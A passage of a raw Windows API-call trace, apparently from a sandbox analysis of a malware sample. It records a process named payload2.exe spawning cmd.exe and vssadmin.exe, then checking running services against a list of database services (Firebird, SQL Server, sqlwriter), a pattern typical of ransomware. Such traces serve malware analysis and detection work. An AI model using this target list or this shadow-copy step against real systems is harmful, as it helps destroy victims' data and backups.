[0049.926] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0049.926] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0049.927] lstrlenW (lpString="ground.exe") returned 10 [0049.927] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0049.927] lstrlenW (lpString="least.exe") returned 9 [0049.927] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0049.928] lstrlenW (lpString="meetings.exe") returned 12 [0049.928] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0049.929] lstrlenW (lpString="wooltestimony.exe") returned 17 [0049.929] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0049.930] lstrlenW (lpString="inexpensive.exe") returned 15 [0049.930] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0049.931] lstrlenW (lpString="er-amd.exe") returned 10 [0049.931] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0049.931] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0049.932] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.932] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.932] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0049.933] lstrlenW (lpString="mobsync.exe") returned 11 [0049.933] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0049.934] lstrlenW (lpString="payload2.exe") returned 12 [0049.934] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.934] lstrlenW (lpString="cmd.exe") returned 7 [0049.934] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.935] lstrlenW (lpString="conhost.exe") returned 11 [0049.935] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.936] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.936] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.936] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.936] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.937] lstrlenW (lpString="svchost.exe") returned 11 [0049.937] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.938] CloseHandle (hObject=0x214) returned 1 [0049.938] Sleep (dwMilliseconds=0x1f4) [0050.666] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29ffb0 [0050.667] EnumServicesStatusExW (in: hSCManager=0x29ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0050.667] GetLastError () returned 0xea [0050.667] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0050.668] EnumServicesStatusExW (in: hSCManager=0x29ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0050.668] CloseServiceHandle (hSCObject=0x29ffb0) returned 1 [0050.668] lstrlenW (lpString="Appinfo") returned 7 [0050.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.668] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.669] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.669] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.669] lstrlenW (lpString="AudioSrv") returned 8 [0050.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.669] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.669] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.669] lstrlenW (lpString="BFE") returned 3 [0050.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.669] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.669] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.669] lstrlenW (lpString="CryptSvc") returned 8 [0050.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.669] lstrlenW (lpString="CscService") returned 10 [0050.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.669] lstrlenW (lpString="DcomLaunch") returned 10 [0050.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.669] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.669] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.670] lstrlenW (lpString="Dhcp") returned 4 [0050.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.670] lstrlenW (lpString="Dnscache") returned 8 [0050.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.670] lstrlenW (lpString="DPS") returned 3 [0050.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.670] lstrlenW (lpString="eventlog") returned 8 [0050.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.670] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.670] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.670] lstrlenW (lpString="EventSystem") returned 11 [0050.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.670] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.670] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.670] lstrlenW (lpString="gpsvc") returned 5 [0050.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.671] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.671] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.671] lstrlenW (lpString="iphlpsvc") returned 8 [0050.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.671] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.671] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.671] lstrlenW (lpString="LanmanServer") returned 12 [0050.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.671] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.671] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.671] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.671] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.671] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.671] lstrlenW (lpString="lmhosts") returned 7 [0050.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.671] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.671] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.671] lstrlenW (lpString="MMCSS") returned 5 [0050.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.672] lstrlenW (lpString="MpsSvc") returned 6 [0050.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.672] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.672] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.672] lstrlenW (lpString="Netman") returned 6 [0050.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.672] lstrlenW (lpString="netprofm") returned 8 [0050.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.672] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.672] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.672] lstrlenW (lpString="NlaSvc") returned 6 [0050.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.672] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.672] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.672] lstrlenW (lpString="nsi") returned 3 [0050.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.672] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.672] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.672] lstrlenW (lpString="PcaSvc") returned 6 [0050.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.673] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.673] lstrlenW (lpString="PlugPlay") returned 8 [0050.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.673] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.673] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.673] lstrlenW (lpString="Power") returned 5 [0050.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.673] lstrlenW (lpString="ProfSvc") returned 7 [0050.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.673] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.673] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.673] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.673] lstrlenW (lpString="RpcSs") returned 5 [0050.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.673] lstrlenW (lpString="SamSs") returned 5 [0050.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.674] lstrlenW (lpString="Schedule") returned 8 [0050.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.674] lstrlenW (lpString="SENS") returned 4 [0050.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.674] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.674] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.674] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.674] lstrlenW (lpString="Spooler") returned 7 [0050.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.674] lstrlenW (lpString="swprv") returned 5 [0050.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.674] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.675] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.675] lstrlenW (lpString="SysMain") returned 7 [0050.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.675] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.675] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.675] lstrlenW (lpString="Themes") returned 6 [0050.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.675] lstrlenW (lpString="TrkWks") returned 6 [0050.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.675] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.675] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.675] lstrlenW (lpString="UxSms") returned 5 [0050.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.675] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.675] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.675] lstrlenW (lpString="VSS") returned 3 [0050.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.675] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.675] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.675] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.676] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned 